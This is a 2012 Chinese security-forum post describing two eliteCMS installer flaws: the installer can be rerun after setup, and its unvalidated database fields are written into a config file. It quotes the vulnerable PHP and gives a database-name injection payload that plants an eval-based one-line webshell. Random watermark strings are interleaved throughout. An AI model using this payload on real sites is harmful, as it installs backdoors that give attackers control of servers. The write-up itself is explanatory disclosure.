中国网络渗透测试联盟
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
[打印本页]
作者:
admin
时间:
2012-11-18 13:59
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
/ J7 P8 E4 f1 j' X* o, l
: x, G9 C6 [* i' W
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
3 |+ P, K. x6 |+ `
我们来看代码：
7 O3 Y& s/ G0 r/ }0 u; S8 J9 H2 f- A$ y
! o2 L" A) z o u8 _
...
" N5 @8 w) `, \+ \5 o7 B
elseif ($_GET['step'] == "4") {
) D' D& G! R! x, \4 p1 N- G" \
$file = "../admin/includes/config.php";
8 d) ^- \" Z8 X, J: [# f
$write = "<?php\n";
3 H+ ]5 @1 ~9 ?6 S& ~9 U K3 P
$write .= "/**\n";
n/ S9 g- f0 |' w7 d0 @& Q
$write .= "*\n";
& M8 G* B2 j8 d- y
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
( u( E6 ~+ ?0 D1 Q/ I! r
...略...
! V$ ~8 ?, {3 C j( G! t
$write .= "*\n";
& C: y" ?6 t; K
$write .= "*/\n";
8 L4 n1 F$ b) |5 C& v: W7 Q& g" M
$write .= "\n";
0 Y3 C/ k( b8 H. Y
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
( t# x/ H& L4 [4 J
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- P: ~& N$ u; v
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
% w2 `* F/ X( Z' z8 c& [/ H6 z4 M) l
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
7 k' k/ ? w2 e. [4 f. H
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
4 B8 D+ H8 k2 { ?
$write .= "if (!\$connection) {\n";
5 S5 \5 z" i5 U& X
$write .= " die(\"Database connection failed\" .mysql_error());\n";
0 g7 u( K. m9 v* f/ G1 r. |8 Z
$write .= " \n";
! E! a2 Q0 G( z2 D
$write .= "} \n";
0 Y+ V5 U t8 k# `$ \: {
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
. d6 T% N% z4 _9 z. U
$write .= "if (!\$db_select) {\n";
4 R3 p _5 b7 @: C9 \! u
$write .= " die(\"Database select failed\" .mysql_error());\n";
7 R) ]( X. K: j- j
$write .= " \n";
# z) n. }3 G& E
$write .= "} \n";
5 G3 S4 ], k9 ^- d! k5 i% v$ ^# h
$write .= "?>\n";
5 L) m7 H' K- ~6 D4 u' P
' `; q/ v N" N6 n( Z" Y
$writer = fopen($file, 'w');
7 P! K9 r( {$ L- N
...
+ R# L3 a3 u; ?" `
+ y6 I0 E* r6 _( }
在看代码：
$ i% e9 d9 `, K" Y
+ Q# F! j0 |) n
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
6 M! M0 @* X) ?! x6 b
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. ^' o5 L+ g; h+ y4 C
$_SESSION['DB_USER'] = $_POST['DB_USER'];
! N' k3 b+ T% c# Z: F8 g" j
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
& |: f/ p; Z0 O
1 z- T. Z) A+ m3 l
取值未作任何验证
* f" j! p- t& N
如果将数据库名POST数据：
1 `4 Q f- G" i- K7 ]9 q+ D
5 ~/ Y, E- L3 a: F2 [
"?><?php eval($_POST[c]);?><?php
/ n/ v7 Y' V7 q3 u2 A& v. a5 p: N: E
$ [ I e4 ~7 C# u
将导致一句话后门写入/admin/includes/config.php
% M' t W x; L
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2